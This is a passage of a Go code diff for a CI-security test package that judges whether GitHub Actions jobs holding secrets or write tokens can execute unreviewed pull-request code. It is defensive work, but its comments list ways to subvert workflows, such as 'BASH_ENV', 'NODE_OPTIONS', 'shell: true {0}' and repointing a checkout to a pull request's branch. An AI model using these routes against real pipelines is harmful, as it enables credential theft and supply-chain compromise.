"git_remote" { + return true + } + args, problem := gitArguments(call) + if problem != "" { + why = problem + return false + } + verb := args[0].Lit() + switch verb { + case "fetch", "ls-remote", "rev-parse", "cat-file", "merge-base", "log", "diff", "bundle", "push", "tag", "remote", "show": + case "switch", "checkout": + if len(args) != 3 || args[1].Lit() != "--detach" || !proven[shellArgument(args[2])] { + why = "git " + shellText(call) + " puts content in the tree without showing it is reachable from " + theDefaultBranch + " first" + } else { + leaned = true + } + case "apply", "am", "archive": + why = "writes content into the tree without naming a commit established by an ancestry refusal (git " + verb + ")" + default: + why = "unattributed git " + verb + " invocation: " + shellText(call) + } + return true + }) + if why != "" { + return false, why + } + if rev := ancestryGuard(stmt); rev != "" { + proven[rev] = true + } + } + return leaned, "" +} + +// An action is admitted for an explicit source contract, never merely because +// it isn't actions/checkout. Local composites are expanded by the caller. +func attributedAction(wf isolatedWorkflow, id string, steps []isolatedStep, index int) string { + step := steps[index] + action, ref, ok := strings.Cut(step.Uses, "@") + if strings.HasPrefix(step.Uses, "./") { + return "" + } + if !ok || ref == "" { + return "unattributed uses: " + step.Uses + } + switch action { + case "actions/setup-go", "actions/upload-artifact", "slackapi/slack-github-action", "vladopajic/go-test-coverage", "anchore/sbom-action/download-syft", "goreleaser/goreleaser-action", "docker/setup-buildx-action", "docker/login-action", "docker/build-push-action": + // Tool setup, publication and execution of the established tree. None is + // an attribution for a new repository or for downloaded workflow output. + return "" + case "actions/download-artifact": + // One data-only handoff: outside the workspace, consumed only by the + // publisher whose real Git bundle fetch is executed by the handoff test. + // Any extra consumer, action or run command invalidates this attribution. + if wf.name == "combine-deps.yml" && id == "publish" && len(step.With) == 2 && step.With["name"] == "combined-branch" && step.With["path"] == "${{ runner.temp }}/combined" && index+2 == len(steps) { + consumer := steps[index+1] + if consumer.Uses == "" && consumer.WorkingDirectory == "" && consumer.Run == `bash .github/scripts/combine-deps-publish.sh "${{ runner.temp }}/combined"` { + return "" + } + } + } + return "unattributed uses: " + step.Uses + " can introduce content whose source is not established" +} diff --git a/internal/ciguard/expression_behaviour_test.go b/internal/ciguard/expression_behaviour_test.go index 864f9d6d..3ee8e2d0 100644 --- a/internal/ciguard/expression_behaviour_test.go +++ b/internal/ciguard/expression_behaviour_test.go @@ -118,6 +118,25 @@ var workflowRunFromAForkPush = scenario{ always: map[string]tri{"always": triTrue}, } +// A same-repository branch can contain an unmerged commit just as a pushed +// tag can. The branch must be excluded relationally, not sampled by name. +var workflowRunFromANonDefaultPush = scenario{ + name: "a workflow_run produced by a non-default-branch push in this repository", + fixed: map[string]string{ + "github.event_name": "workflow_run", + "github.repository": theRepository, + "github.event.repository.default_branch": theDefaultBranch, + }, + adversarial: map[string]string{ + // This case is specifically a same-repository push; fork and PR + // cases remain separate domains, never inferred from this sample. + "github.event.workflow_run.event": "push", + "github.event.workflow_run.head_repository.full_name": theRepository, + }, + excluded: map[string][]string{"github.event.workflow_run.head_branch": {theDefaultBranch}}, + always: map[string]tri{"always": triTrue}, +} + // A reusable workflow is called by another repository, which supplies its own // context: its repository, its ref, its actor -- and its EVENT. The event is // the one fact a condition can still use, because `github.event_name` in a @@ -131,42 +150,19 @@ var workflowRunFromAForkPush = scenario{ // `github.repository != 'codefly-dev/core'` excluded nobody. // // So: one scenario per HOSTILE CALLER EVENT, each binding the event and -// nothing else. -var calledFromAPullRequest = scenario{ - name: "called as a reusable workflow from a pull request", - fixed: map[string]string{"github.event_name": "pull_request"}, - always: map[string]tri{"always": triTrue}, -} - -var calledFromACommentOnAPullRequest = scenario{ - name: "called as a reusable workflow from a comment on a pull request", - fixed: map[string]string{"github.event_name": "issue_comment"}, - always: map[string]tri{"always": triTrue}, -} - -var calledFromAMergeQueue = scenario{ - name: "called as a reusable workflow from a merge queue candidate", - fixed: map[string]string{"github.event_name": "merge_group"}, - always: map[string]tri{"always": triTrue}, -} - -// commentOnAPullRequest is the trigger the classifier called hostile and the -// assertion never evaluated. `issue_comment` fires on a comment -- including -// one on a pull request, where `github.event.issue.number` names that pull -// request and a checkout can select `refs/pull//head`, i.e. the author's -// unreviewed code. A credential-bearing job gated on -// `github.event_name == 'issue_comment'` must not be refuted, because the only -// scenarios evaluated were a pull request and a merge queue candidate, under -// both of which that condition is false. -var commentOnAPullRequest = scenario{ - name: "a comment on a pull request", - fixed: map[string]string{ - "github.event_name": "issue_comment", - "github.repository": theRepository, - "github.event.repository.default_branch": theDefaultBranch, - }, - always: map[string]tri{"always": triTrue}, -} +// nothing else. They are BUILT by `callerScenarios` below rather than written +// out here -- three were written out, had no callers once the derivation +// landed, and went on describing the hole they closed from outside the set that +// closes it. +// +// `issue_comment` is worth naming in that derivation specifically. It fires on +// a comment, including one on a pull request, where `github.event.issue.number` +// names that pull request and a checkout can select `refs/pull//head` -- +// the author's unreviewed code. An earlier classifier called it hostile while +// the assertion evaluated only a pull request and a merge queue candidate, +// under both of which `github.event_name == 'issue_comment'` is false, so a +// job gated on it was accepted. `callerEvents` lists it and +// `scenariosForTrigger` builds it from the workflow's own triggers. // hostileScenariosFor is the set a credential-bearing job in this workflow // must be proven unreachable under, DERIVED from the triggers the workflow @@ -180,16 +176,19 @@ var commentOnAPullRequest = scenario{ // write-CAPABLE jobs -- so a read-only job holding a repository secret on // `workflow_run` was checked by neither. // -// An exemption is only as good as the covering guard's SCOPE, so each one -// below names its guard and why that guard's scope is enough. A declared -// trigger with no scenario is not skipped: it comes back as unmodelled and -// the caller fails on it, because "added by GitHub next year" must mean a -// failing test rather than a silent pass. -func hostileScenariosFor(on yaml.Node) (hostile []scenario, unmodelled []string) { +// There are no exemptions now, so there is nothing for an `unmodelled` return +// to carry: `scenariosForTrigger` BUILDS a situation for every trigger, +// including one GitHub ships next year, and a workflow that yields an empty set +// has declared no trigger this package can read -- which every caller treats as +// an unanswered question rather than a safe workflow. The second return value +// was always nil while the doc comment promised otherwise, and both callers +// discarded it; a contract nothing keeps is worse than no contract. +func hostileScenariosFor(on yaml.Node) []scenario { + var hostile []scenario for _, trigger := range triggers(on) { hostile = append(hostile, scenariosForTrigger(trigger)...) } - return hostile, nil + return hostile } // scenariosForTrigger builds the hostile situations a trigger admits, BINDING @@ -200,10 +199,13 @@ func hostileScenariosFor(on yaml.Node) (hostile []scenario, unmodelled []string) // be judged definitely false. // // Trigger identity cannot establish WHICH CODE a job executes, so no trigger -// is exempt here: every -// trigger yields a scenario, and a credential-bearing job answers for itself -// either by being provably unreachable or by proving what it runs (see -// acceptedExecution). +// is exempt here: every trigger yields a scenario, and a credential-bearing job +// answers for itself either by being provably unreachable under all of them +// (`provablyUnreachable`) or by establishing which tree it runs +// (`acceptedExecution`, in job_templates_test.go). Both are reached from +// `credentialJobIsAccepted`; for one release this comment named +// `acceptedExecution` while no such function existed and neither half was +// called at all. // // Built rather than listed, so a trigger GitHub ships next year is covered // before anyone notices it exists: the default binds only the event's own name @@ -235,7 +237,7 @@ func scenariosForTrigger(trigger string) []scenario { return []scenario{eventScenario(trigger, "refs/", []string{defaultBranchRef})} case "workflow_run": - return []scenario{workflowRunFromAPullRequest, workflowRunFromAForkPush} + return []scenario{workflowRunFromAPullRequest, workflowRunFromAForkPush, workflowRunFromANonDefaultPush} case "workflow_call": // The caller's event is the caller's choice, and this repository cannot @@ -340,11 +342,35 @@ var pushOfATag = scenario{ always: map[string]tri{"always": triTrue}, } -// everyScenario is what the construction tests below sweep. -var everyScenario = []scenario{ +// everyScenario is what the construction tests below sweep, and it has to be +// every scenario a guard can actually evaluate rather than a hand-picked five. +// +// It was the five. The guards judge a job against whatever +// `hostileScenariosFor` derives from that workflow's triggers -- around twenty +// situations once a reusable workflow's caller events are counted -- so the +// soundness constructions were sweeping a quarter of the set that decides +// verdicts, and an unsound binding added to a DERIVED scenario would have been +// checked by nothing. The five hand-written ones stay: each is a regression +// example with its own reasoning, and the derived ones are appended. +var everyScenario = append([]scenario{ pullRequest, mergeGroup, workflowRunFromAPullRequest, workflowRunFromAForkPush, pushOfATag, +}, derivableScenarios()...) + +// derivableScenarios is every situation scenariosForTrigger can produce: one +// per trigger this repository's workflows declare, plus every caller event and +// the unknown remainder. +func derivableScenarios() []scenario { + var out []scenario + declarable := append([]string{ + "push", "pull_request", "workflow_run", "workflow_call", "schedule", + "workflow_dispatch", "pull_request_target", "merge_group", + }, callerEvents...) + for _, trigger := range declarable { + out = append(out, scenariosForTrigger(trigger)...) + } + return out } // chosenByTheTriggeringParty are context paths whose value is picked by whoever diff --git a/internal/ciguard/expression_test.go b/internal/ciguard/expression_test.go index 4e610f2a..23d3a45d 100644 --- a/internal/ciguard/expression_test.go +++ b/internal/ciguard/expression_test.go @@ -575,12 +575,6 @@ func knownValue(v any) value { func knownBool(b bool) value { return knownValue(b) } -// prefixedValue is a string whose leading characters the event fixes. A -// non-empty prefix means the string is non-empty, hence truthy. -func prefixedValue(prefix string) value { - return value{kind: valuePrefixed, prefix: prefix, t: triOf(prefix != "")} -} - // constrainedValue is a string described by a prefix it must have, a set of // literals it cannot be, or both. With neither it is simply unknown. func constrainedValue(prefix string, excluded []string) value { diff --git a/internal/ciguard/job_templates_test.go b/internal/ciguard/job_templates_test.go index a0a1319f..3a046005 100644 --- a/internal/ciguard/job_templates_test.go +++ b/internal/ciguard/job_templates_test.go @@ -5,6 +5,7 @@ import ( "encoding/hex" "os" "path/filepath" + "regexp" "sort" "strings" "testing" @@ -13,36 +14,74 @@ import ( "gopkg.in/yaml.v3" ) -// A job that receives a credential must match a REGISTERED TEMPLATE exactly, or -// it is refused. +// A job that receives a credential is JUDGED, and the registry is friction on +// top of the judgement rather than a substitute for it. // -// Six review rounds analysed what jobs do: which contexts are a source, which -// fields are a sink, which commands execute a value, which conditions skip a -// refusal. Each round closed the routes it named and the next found more -- -// `$GITHUB_OUTPUT`, `$GITHUB_EVENT_PATH`, `toJSON(github)`, `NODE_OPTIONS`, -// `working-directory`, `git restore --source`, `git archive | tar -x`, a -// composite step reusing the refusal's name. The list of things a workflow can -// do is not a list this package can finish, and a guard built from one is -// always one construction behind. +// The history matters, because this file has been both things. Six review +// rounds analysed what jobs do: which contexts are a source, which fields a +// sink, which commands execute a value, which conditions skip a refusal. Each +// round closed the routes it named and the next found more -- `$GITHUB_OUTPUT`, +// `$GITHUB_EVENT_PATH`, `toJSON(github)`, `NODE_OPTIONS`, `working-directory`, +// `git restore --source`, `git archive | tar -x`, a composite step reusing the +// refusal's name. The list of things a workflow can do is not a list this +// package can finish, and a guard built from one is always one construction +// behind. // -// So nothing is analysed. The question is not "what does this job do" but "is -// this job one of the shapes this repository runs". The answer is a digest: a -// template records the job exactly as written, and a job that differs in any -// respect -- a step added, an input changed, a condition appearing -- does not -// match and is refused. A new source, sink or verb is then not something to -// model; it changes the shape, and the shape is pinned. +// Round six's answer was to stop analysing: pin each permitted job's bytes and +// accept whatever matches. That removed the enumeration and removed the +// judgement with it. The decision became "is this (workflow, job) in the +// allowlist" and "does sha256 of the workflow file equal a constant" -- so the +// defect the rounds were about became reachable again by editing one 64-char +// constant, which is the remediation the failure message itself printed. A +// review of this package planted exactly that: it took the registered +// `go.yml` · `coverage-badge` job, which carries `contents: write`, let its +// condition admit `pull_request`, pointed its checkout at the pull request's +// own branch and ran a script out of that tree. Five tests failed, one digest +// was re-recorded, and the suite went green with the violation in place. // -// Changing one of these jobs therefore means updating its template and the test -// that executes it, deliberately, in the same change. That friction is the -// point: these six jobs are the only ones in this repository that receive a -// secret or a write token. +// So the decision is three conjuncts now, and a digest is only the last of +// them: +// +// 1. REGISTERED. The job is one of the shapes this repository knowingly runs +// with a credential. A new one is refused until somebody adds a template +// and a test, which is what makes this an allowlist. +// 2. JUDGED. Either the job's condition is PROVABLY FALSE in every hostile +// situation its workflow's triggers admit (`provablyUnreachable`, over the +// scenarios `hostileScenariosFor` derives), or the job establishes which +// tree it executes (`acceptedExecution`). Evaluated, not matched: unknown +// is not false, and a construction this package cannot read is a refusal. +// 3. RECORDED. The job's shape -- the job block plus the workflow-level `on`, +// `permissions`, `env` and `defaults` in scope for every step in it -- +// matches a recorded digest. +// +// (3) cannot excuse (2). Re-recording a digest moves a constant; it does not +// make a condition false or a tree reviewed. That is the property the planted +// violation above now fails on, with no digest to re-record. +// +// What (3) is still FOR: the residue (2) cannot read. `acceptedExecution` reads +// checkouts, tree-repointing git verbs and an ancestry refusal; it does not +// read the semantics of a shell script, a third-party action's behaviour, or a +// field no rule here names. The digest means a change to any of that stops +// matching until somebody records the new shape. It is a changelog with teeth, +// not a gate -- `main`'s ruleset requires zero approving reviews, so nothing +// obliges a human to read the line that changed (see +// docs/runbooks/branch-protection.md). +// +// And it is scoped to what it protects. It used to hash the whole workflow +// file, so a Dependabot bump of an action pin in an unrelated job refused every +// registered job in that file and re-recorded two digests -- making "a pin +// moved" and "a write token entered a job that runs pull request code" the same +// failure with the same one-line fix. The record now covers the job and +// everything the job inherits, and nothing else. // jobTemplate is one permitted shape. type jobTemplate struct { workflow, job string // executedBy is the test that runs this job's own script against real - // repositories, where it has one. A template whose behaviour nothing - // executes is accepted only for a job that runs no script of its own. + // repositories. It is REQUIRED for a job whose acceptance rests on a + // refusal written in shell: this package reads that the refusal is there + // and reads nothing about whether it works, so something has to execute it. + // `acceptedExecution` refuses such a job when this field is empty. executedBy string // why records what this job is for, so a reviewer reading a digest change // knows what they are being asked to approve. @@ -81,34 +120,79 @@ var permittedCredentialJobs = []jobTemplate{ }, } -// canonicalDigest renders a document to canonical YAML and hashes it, so the +// canonicalDigest renders a value to canonical YAML and hashes it, so the // digest depends on content and not on formatting. -func canonicalDigest(t *testing.T, node yaml.Node) string { +func canonicalDigest(t *testing.T, value any) string { t.Helper() - var canonical any - require.NoError(t, node.Decode(&canonical)) - rendered, err := yaml.Marshal(canonical) + rendered, err := yaml.Marshal(value) require.NoError(t, err) sum := sha256.Sum256(rendered) return hex.EncodeToString(sum[:]) } -// canonicalWorkflowDigest hashes the WHOLE workflow document, not the job block. +// recordedShape is what a registered job's digest covers: the job, and the +// workflow-level fields that are in scope for every step in it. // -// A job does not run in isolation: `defaults: run: shell:` at workflow level -// chooses the interpreter for every step in it, and workflow-level `env:` is in -// scope for all of them. Hashing the job alone left both outside the record, so -// the interpreter a refusal runs under, and the environment it runs in, could -// be replaced while the job itself and its digest were untouched. -func canonicalWorkflowDigest(t *testing.T, path string) string { +// Those four are in scope and nothing else is. `on` decides which hostile +// situations the job answers for, so changing it changes the judgement. +// `permissions` at workflow level is what a job with no block of its own gets. +// `env` is in scope for every step, so `BASH_ENV` written there redefines what +// a step's script does. `defaults.run.shell` chooses the interpreter, so +// `shell: 'true {0}'` turns every refusal in the file into a no-op. +// +// A step of a DIFFERENT job -- an action pin a Dependabot bump moved, a cache +// key, a matrix -- is outside the record, because it is outside what the +// registered job runs. +// +// The field order here is the digest's input order, so it is fixed by the +// struct rather than by map iteration. +type recordedShape struct { + On any `yaml:"on"` + Permissions any `yaml:"permissions"` + Env any `yaml:"env"` + Defaults any `yaml:"defaults"` + Job any `yaml:"job"` +} + +// workflowScope holds the workflow-level nodes recordedShape needs, read as +// nodes so an absent key stays distinguishable from an empty one. +type workflowScope struct { + On yaml.Node `yaml:"on"` + Permissions yaml.Node `yaml:"permissions"` + Env yaml.Node `yaml:"env"` + Defaults yaml.Node `yaml:"defaults"` +} + +// decodedOrNil decodes a node, treating an absent key (kind zero) as nil +// rather than as a decode error. +func decodedOrNil(t *testing.T, node yaml.Node) any { t.Helper() + if node.Kind == 0 { + return nil + } + var out any + require.NoError(t, node.Decode(&out)) + return out +} - raw, err := os.ReadFile(path) - require.NoError(t, err) - var document yaml.Node - require.NoError(t, yaml.Unmarshal(raw, &document), path) - return canonicalDigest(t, document) +// canonicalJobDigest hashes one job's recorded shape. +func canonicalJobDigest(t *testing.T, wf isolatedWorkflow, id string) string { + t.Helper() + + raw, ok := wf.raw[id] + require.True(t, ok, "%s has no job %q to record", wf.name, id) + + var scope workflowScope + require.NoError(t, wf.document.Decode(&scope), wf.name) + + return canonicalDigest(t, recordedShape{ + On: decodedOrNil(t, scope.On), + Permissions: decodedOrNil(t, scope.Permissions), + Env: decodedOrNil(t, scope.Env), + Defaults: decodedOrNil(t, scope.Defaults), + Job: decodedOrNil(t, raw), + }) } // canonicalFileDigest hashes a file that is not YAML -- a script a registered @@ -133,66 +217,371 @@ func templateFor(workflow, job string) (jobTemplate, bool) { return jobTemplate{}, false } -// credentialJobIsAccepted is the whole decision: the job is one of the -// permitted shapes, unchanged, and its behaviour is executed by a test. +// recordKey names a job's record. Keyed by job, not by file, because the +// record covers a job. +func recordKey(workflow, job string) string { return workflow + "/" + job } + +// credentialJobIsAccepted is the decision, and it reports EVERY conjunct that +// refused rather than the first. A failure that names only the digest reads as +// "re-record it"; one that names the judgement cannot. func credentialJobIsAccepted(t *testing.T, wf isolatedWorkflow, id string) (bool, string) { t.Helper() template, registered := templateFor(wf.name, id) if !registered { return false, "it is not one of the job shapes this repository runs with a " + - "credential. Those are registered in permittedCredentialJobs, each with a " + - "test that executes it; a job that is not one of them is refused rather " + - "than analysed, because the set of things a workflow can do to reach " + - "unreviewed code is not a set this package can enumerate" + "credential. Those are " + strings.Join(sortedTemplateNames(), ", ") + + ", registered in permittedCredentialJobs, each with a test that executes " + + "it; a job that is not one of them is refused rather than analysed, " + + "because the set of things a workflow can do to reach unreviewed code is " + + "not a set this package can enumerate" + } + + var refused []string + + // CONJUNCT TWO -- the judgement. Either nothing a triggering party can do + // reaches the job, or the job says which tree it executes. Both halves are + // evaluated; neither is satisfied by the record below. + hostile := hostileScenariosFor(wf.On) + if len(hostile) == 0 { + refused = append(refused, + "its workflow yields no hostile situation at all, so there is nothing to "+ + "judge its condition against -- which is an unanswered question, not a "+ + "safe workflow") + } else { + unreachable, why := provablyUnreachable(t, wf.Jobs[id].If, hostile) + if !unreachable { + established, how := acceptedExecution(t, wf, id) + if !established { + refused = append(refused, reachabilityNote(why)+", and "+how) + } + } } - // The comparison. The registry's own field was always empty, so this - // previously accepted every registered name whatever its content -- the - // check existed and decided nothing. The recorded digest is the authority - // and a missing record refuses. - recorded, present := recordedDigests[template.workflow] - if !present { - return false, "no shape is recorded for " + template.workflow + - ", so nothing pins what this job runs" + // CONJUNCT THREE -- the record. Scoped to the job and what it inherits. + key := recordKey(template.workflow, template.job) + recorded, present := recordedJobDigests[key] + switch { + case !present: + refused = append(refused, "no shape is recorded for "+key+ + ", so nothing pins what this job runs") + default: + actual := canonicalJobDigest(t, wf, id) + if recorded != actual { + refused = append(refused, key+" has changed shape: recorded "+ + recorded[:12]+", actual "+actual[:12]+" ("+template.why+ + "). Update recordedJobDigests in the same change, so the new shape is "+ + "approved rather than inherited -- and note that re-recording settles "+ + "only this conjunct") + } } - actual := canonicalDigest(t, wf.document) - if recorded != actual { - return false, template.workflow + " has changed shape: recorded " + - recorded[:12] + ", actual " + actual[:12] + " (" + template.why + - "). Update recordedDigests and the test that executes this job in the " + - "same change, so the new shape is approved rather than inherited" + + if len(refused) > 0 { + return false, strings.Join(refused, "; also ") } return true, "" } -// The digests are recorded here rather than in the template literals so that -// updating one is a visible, reviewable line. A template with no digest yet -// fails this test with the digest to paste in. -// recordedDigests is the approved shape of each permitted job. A change to one -// of these jobs changes its digest, and the guard then refuses the job until -// this line is updated -- which is the review step: somebody has to look at -// what changed and approve it, rather than the change being inherited. +// recordedJobDigests is the approved shape of each permitted job, keyed by +// workflow and job. Recorded here rather than in the template literals so that +// updating one is a visible, reviewable line. +// +// Re-recording one of these is NOT a way to admit a job the judgement refuses: +// it is the last of three conjuncts and the only one a constant can satisfy. +var recordedJobDigests = map[string]string{ + "publish-service-image.yml/publish": "de6da0675711da839493b8e2f0a7576e0041af12f0f22328208ecf24ec004bfe", + "combine-deps.yml/publish": "96fa1520bff8448fea8f54c7bf6608bda3b218c34099469abeffcf0ab28a9eeb", + "go-service-release.yml/goreleaser": "236e993f0419411c4093519708ebe76694d7df482bf98b8c26d8396999fd9f25", + "go.yml/coverage-badge": "f90499145fe994ba99df79a30c275d1be9396e572f853ab1bd4ea7519ec2ebc7", + "go.yml/notify": "150388315f3784739566d301151e8fc74cc6715e54b2af8420c5fdd6b59aaf75", + "version-tag.yml/tag": "447e0de19e05b354745c839d84f533fcfcb58716d7fa120bdb42846270bf0a65", +} + // recordedFileDigests pins the content of each repository file a registered job // runs. A workflow digest cannot cover a script in the tree, so the script is // hashed too -- otherwise one line added to it runs unreviewed code with the // job's credential while the workflow is untouched. var recordedFileDigests = map[string]string{ ".github/scripts/combine-deps-plan.sh": "ade2737c41da8b1cc92966a4feb598c9481a9b09dafc643f271dad3aa155fdc1", - ".github/scripts/combine-deps-publish.sh": "c2d4bb3c30be1fb8e729f28e2d09ffa9df0ea660187d03d170c436313a929a46", + ".github/scripts/combine-deps-publish.sh": "19c6833c51700abfbefe80bcd2b98ac4170152922f62659285455446e58e74c0", } -var recordedDigests = map[string]string{ - "combine-deps.yml": "2ddc71ebfde5eff4d8646d53dca254a9b631a4a951589d5ff587962c09e43e50", - "go-service-release.yml": "b96f9dcb767f9a307b4120797007a30bad8b76bb8bd7b461247a555102a54708", - "go.yml": "e484c97790a696fcd2a55e323df7d4b451b7657a917a126d7c6831e02cd2a904", - "publish-service-image.yml": "10afa917aa051d051756b170dac9d88c37e2bd35bffff03fe4d46c2b10401462", - "version-tag.yml": "25972c82482fb3ae6196371328df126843c3e8a1b4aae7b863693bbad5fac641", +// ------------------------------------------------- what a job executes + +// Checkout is attributed from ref, repository and path; every other action +// needs its own source contract in attributedAction. +const checkoutAction = "actions/checkout@" + +// ancestryRefusalOfTheCheckedOutCommit matches the proof a job offers when its +// checkout took the TRIGGERING commit: the commit the tree is on is shown to be +// reachable from the default branch's remote-tracking ref, and the step exits +// otherwise. +// +// Fully qualified on purpose: a bare `origin/` is an ambiguous rev that +// a tag of the same name can win, so a refusal spelled that way is not one. +var ancestryRefusalOfTheCheckedOutCommit = regexp.MustCompile( + `git\s+merge-base\s+--is-ancestor\s+"?\$\{?GITHUB_SHA\}?"?\s+"?refs/remotes/origin/`) + +// executedText is everything a step executes that this package can read: its +// own `run:`, and the contents of every repository script that run invokes, +// transitively. A repoint hidden in a script is the route the dependency +// combination had, so the script is read rather than the `run:` line alone. +func executedText(t *testing.T, step isolatedStep) string { + t.Helper() + + var all strings.Builder + all.WriteString(step.Run) + all.WriteString("\n") + + pending := scriptReference.FindAllString(step.Run, -1) + seen := map[string]bool{} + for len(pending) > 0 { + rel := pending[0] + pending = pending[1:] + if seen[rel] { + continue + } + seen[rel] = true + + body, err := os.ReadFile(filepath.Join(repoRoot(t), rel)) + if os.IsNotExist(err) { + all.WriteString("\n# absent: " + rel + "\n") + continue + } + require.NoError(t, err, rel) + all.Write(body) + all.WriteString("\n") + pending = append(pending, scriptReference.FindAllString(string(body), -1)...) + } + return all.String() +} + +// absentRefIsTheDefaultBranch reports whether a checkout with no `ref:` selects +// the default branch in this workflow. +// +// It does for `workflow_run` and for nothing else: that event sets GITHUB_SHA +// to the default branch's head whatever produced the run it reacts to, which is +// the property version-tag.yml's checkout relies on. Under every other trigger +// an absent `ref:` means the TRIGGERING ref, which is not a statement about +// what was reviewed. +func absentRefIsTheDefaultBranch(wf isolatedWorkflow) bool { + declared := triggers(wf.On) + if len(declared) == 0 { + return false + } + for _, trigger := range declared { + if trigger != "workflow_run" { + return false + } + } + return true } -// TestEveryPermittedJobMatchesItsRecordedShape is the gate: each permitted job -// must still be the shape that was approved, and each template that claims an -// executing test must name one that exists. +// treeOrigin says where the content a checkout left in the tree came from, and +// the distinction between the last two is the whole value of this type. +// +// An ancestry refusal proves something about `$GITHUB_SHA` -- the commit the +// RUN is for. That speaks for the tree only when the tree IS that commit, which +// is what a checkout with no `ref:` gives. A checkout that NAMES some other ref +// leaves a tree the refusal says nothing about: the refusal can pass on a +// commit that was merged while the tree holds a branch that was not. +// +// Collapsing those two into one boolean accepted exactly that shape. A probe +// of this guard took the planted `coverage-badge` violation, kept +// `ref: ${{ github.head_ref }}`, added a real unconditional refusal on +// `$GITHUB_SHA` and went green -- a write token, a pull request's branch in +// the tree, and a refusal that was checking a different commit. +type treeOrigin int + +const ( + // treeIsTheDefaultBranch: reviewed code, by construction. + treeIsTheDefaultBranch treeOrigin = iota + // treeIsTheTriggeringCommit: `$GITHUB_SHA`'s content, so an ancestry + // refusal on `$GITHUB_SHA` establishes it. + treeIsTheTriggeringCommit + // treeIsAPartyChosenRef: a named ref that is neither. Nothing this package + // reads can establish it, so no refusal rescues it. + treeIsAPartyChosenRef +) + +// checkoutSelectsTheDefaultBranch reads the repository identity and ref. +// acceptedExecution separately refuses additional checkout paths. +func checkoutSelectsTheDefaultBranch(step isolatedStep, absentIsDefault bool) (treeOrigin, string) { + if repository, named := step.With["repository"]; named && repository != "${{ github.repository }}" && repository != theRepository { + return treeIsAPartyChosenRef, "selects a party-chosen repository" + } + ref, named := step.With["ref"] + if !named { + if absentIsDefault { + return treeIsTheDefaultBranch, "" + } + return treeIsTheTriggeringCommit, "names no `ref:`, so it takes the triggering commit" + } + text, isString := ref.(string) + if !isString { + return treeIsAPartyChosenRef, "has a `ref:` this package cannot read" + } + switch strings.TrimSpace(text) { + case theDefaultBranch, "refs/heads/" + theDefaultBranch: + return treeIsTheDefaultBranch, "" + } + return treeIsAPartyChosenRef, "checks out " + text + " rather than " + theDefaultBranch +} + +// acceptedExecution is the half of the judgement that does not depend on a +// condition being right: when this job DOES run, which tree does it execute +// code from? +// +// Two means, and they are the two the workflows here use: +// +// - every checkout selects the default branch, so the tree is reviewed code +// throughout (combine-deps.yml `publish`, go.yml `coverage-badge`, and +// version-tag.yml `tag`, whose workflow_run checkout defaults to it); +// - or the checkout took the triggering commit and an ancestry refusal shows +// that commit is reachable from the default branch BEFORE anything else +// runs (go-service-release.yml `goreleaser`, which cannot be proven +// unreachable at all because a caller chooses its event). +// +// WHAT THIS DOES NOT READ, stated here rather than left to be discovered, +// because a comment describing machinery that is not there is how the previous +// defect hid: +// +// - whether a refusal WORKS. It reads that the command is present, exits on +// failure, and is not skipped or made non-fatal by a step field. Whether +// the script refuses what it should is answered by executing it, which is +// what `jobTemplate.executedBy` names -- and a job accepted by the second +// means with no executing test is refused here. +// - a third-party action's behaviour. `goreleaser/goreleaser-action` runs +// `.goreleaser.yaml` out of the tree and `actions/setup-go` reads `go.mod`; +// both are tree execution, which is why the tree has to be established +// before any step that is not a checkout or the refusal. +// - anything in a field no rule here names. That is the residue the recorded +// digest covers. +func acceptedExecution(t *testing.T, wf isolatedWorkflow, id string) (bool, string) { + t.Helper() + + job := wf.Jobs[id] + steps, unreadable := stepsIncludingLocalActions(t, job) + if len(unreadable) > 0 { + return false, "it runs " + strings.Join(unreadable, ", ") + + ", whose steps this package cannot read, so what it executes is not established" + } + + absentIsDefault := absentRefIsTheDefaultBranch(wf) + // Before the first checkout there is no tree on the runner, so nothing from + // one can execute. A `run:` here executes the workflow's own text, which + // the recorded digest covers. + origin, unreviewedBecause := treeIsTheDefaultBranch, "" + + for index, step := range steps { + if strings.HasPrefix(step.Uses, checkoutAction) { + if path, named := step.With["path"]; named && path != "" && path != "." { + return false, "checkout path is not the workspace root; a later checkout cannot establish that additional tree" + } + if origin != treeIsTheDefaultBranch { + return false, "a later checkout cannot erase an earlier unattributed tree" + } + // A checkout executes none of the tree it writes, so an unreviewed + // one is not yet a refusal; the next step that runs is where it is + // decided. + origin, unreviewedBecause = checkoutSelectsTheDefaultBranch(step, absentIsDefault) + continue + } + + text := executedText(t, step) + + if origin != treeIsTheDefaultBranch { + if origin == treeIsAPartyChosenRef { + return false, "its checkout " + unreviewedBecause + ", and " + + step.describe() + " then runs with that tree. An ancestry refusal " + + "cannot rescue this: a refusal speaks for `$GITHUB_SHA`, the commit " + + "the run is for, while the tree holds a different ref. Pin the " + + "checkout to " + theDefaultBranch + } + if !ancestryRefusalOfTheCheckedOutCommit.MatchString(text) { + return false, "its checkout " + unreviewedBecause + ", and " + + step.describe() + " then runs with that tree. Either pin every " + + "checkout to " + theDefaultBranch + ", or put a `git merge-base " + + "--is-ancestor \"$GITHUB_SHA\" refs/remotes/origin/` " + + "refusal ahead of everything that runs" + } + if unconditional, why := refusalIsUnconditional(step, job, wf); !unconditional { + return false, "its ancestry refusal " + why + + ", so the tree it runs is not established" + } + if why := triggeringCommitRefusalIsFirst(step.Run); why != "" { + return false, why + } + if template, ok := templateFor(wf.name, id); !ok || !executingTestCovers(template, step) { + return false, "Name the test that executes it in executedBy, bound to this workflow, job and refusal step" + } + origin = treeIsTheDefaultBranch + } + + if step.Uses != "" { + if why := attributedAction(wf, id, steps, index); why != "" { + return false, why + } + } + repointed, why := attributedShell(text) + if why != "" { + return false, step.describe() + " " + why + } + if repointed { + if unconditional, why := refusalIsUnconditional(step, job, wf); !unconditional { + return false, why + } + if template, ok := templateFor(wf.name, id); !ok || !executingTestCovers(template, step) { + return false, "Name the test that executes it in executedBy, bound to this workflow, job and refusal step" + } + } + } + + return true, "" +} + +// refusalIsUnconditional reports whether a step carrying an ancestry refusal can +// actually stop the job. Each of these makes the command present and the +// refusal absent, which is the shape this whole package is about. +func refusalIsUnconditional(step isolatedStep, job isolatedJob, wf isolatedWorkflow) (bool, string) { + if step.WorkingDirectory != "" { + return false, "selects an unattributed working directory" + } + if step.If != "" { + return false, "carries a step-level `if:` (" + step.If + "), so it can be skipped" + } + if step.ContinueOnError { + return false, "sets `continue-on-error: true`, so its exit status stops nothing" + } + if !strings.Contains(step.Run, "exit 1") { + return false, "never exits non-zero, so it reports rather than refuses" + } + for _, env := range []map[string]string{wf.Env, job.Env, step.Env} { + for key := range env { + if dangerousExecutionEnv(key) { + return false, "inherits execution-changing 